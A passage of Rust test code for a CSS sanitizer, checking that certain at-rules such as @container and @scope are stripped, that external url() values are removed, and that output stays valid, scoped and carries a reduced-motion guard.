910 // The match in `visit_rule` has no wildcard arm, so a future lightningcss
911 // variant fails to COMPILE until triaged, the compiler enforces that no
912 // variant is both blocked and allowed (a variant can't appear in two arms of
913 // one match). These tests pin the RUNTIME behavior the compile-check can't:
914 // that lightningcss parses each of these at-rules into the variant the match
915 // blocks, so they are actually stripped and recorded rather than emitted.
916
917 fn assert_blocked_at_rule(css: &str, marker: &str) {
918 let (out, rej) = san(css);
919 assert!(
920 !out.to_lowercase().contains(marker),
921 "blocked at-rule `{marker}` leaked into output: {out}"
922 );
923 assert!(
924 rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule),
925 "no BlockedAtRule rejection recorded for `{marker}`"
926 );
927 // A sibling plain rule still survives, only the at-rule is dropped.
928 assert!(out.contains("color"), "sibling style rule was lost: {out}");
929 }
930
931 #[test]
932 fn rejects_container() {
933 assert_blocked_at_rule(
934 "@container (min-width: 100px) { p { background: red } } p { color: red }",
935 "@container",
936 );
937 }
938
939 #[test]
940 fn rejects_scope() {
941 assert_blocked_at_rule(
942 "@scope (.a) { p { background: red } } p { color: red }",
943 "@scope",
944 );
945 }
946
947 #[test]
948 fn rejects_starting_style() {
949 assert_blocked_at_rule(
950 "@starting-style { p { background: red } } p { color: red }",
951 "@starting-style",
952 );
953 }
954
955 #[test]
956 fn rejects_view_transition() {
957 assert_blocked_at_rule(
958 "@view-transition { navigation: auto } p { color: red }",
959 "@view-transition",
960 );
961 }
962 }
963
964 #[cfg(test)]
965 mod proptests {
966 use super::*;
967 use proptest::prelude::*;
968
969 const SCOPE: &str = "22222222-2222-2222-2222-222222222222";
970
971 fn policy() -> UrlPolicy {
972 UrlPolicy::new(
973 "https://u.makenot.work/a/p",
974 [
975 "makenot.work".to_string(),
976 "u.makenot.work".to_string(),
977 "cdn.makenot.work".to_string(),
978 ],
979 )
980 .unwrap()
981 }
982
983 proptest! {
984 // Arbitrary input never panics, and the output is always valid CSS
985 // (it re-parses cleanly).
986 #[test]
987 fn never_panics_output_reparses(input in "\\PC{0,400}") {
988 let (out, _rej) = sanitize_css(&input, SCOPE, &policy());
989 prop_assert!(StyleSheet::parse(&out, parser_options()).is_ok(), "invalid output: {out}");
990 }
991
992 // A randomly-built external url() is always neutralized.
993 #[test]
994 fn external_url_always_stripped(host in "[a-z]{3,10}", tld in "(com|net|io|xyz)", path in "[a-z0-9]{1,10}") {
995 let domain = format!("{host}.{tld}");
996 let css = format!(".x {{ background: url(https://{domain}/{path}) }}");
997 let out = sanitize_css(&css, SCOPE, &policy()).0;
998 let leaked = out.contains(&domain);
999 prop_assert!(!leaked, "leaked host: {}", out);
1000 }
1001
1002 // Every non-empty sanitized sheet confines its style rules to the canvas
1003 // and ends with the reduced-motion guard.
1004 #[test]
1005 fn always_scoped_and_guarded(sel in "[a-z][a-z0-9]{0,8}", prop in "(color|background-color|margin)") {
1006 let css = format!("{sel} {{ {prop}: inherit }}");
1007 let out = sanitize_css(&css, SCOPE, &policy()).0;
1008 let scope_tag = format!("uc-{SCOPE}");
1009 let has_scope = out.contains(&scope_tag);
1010 let has_guard = out.contains("prefers-reduced-motion");
1011 prop_assert!(has_scope, "missing scope: {}", out);
1012 prop_assert!(has_guard, "missing guard: {}", out);
1013 }
1014 }
1015 }
1016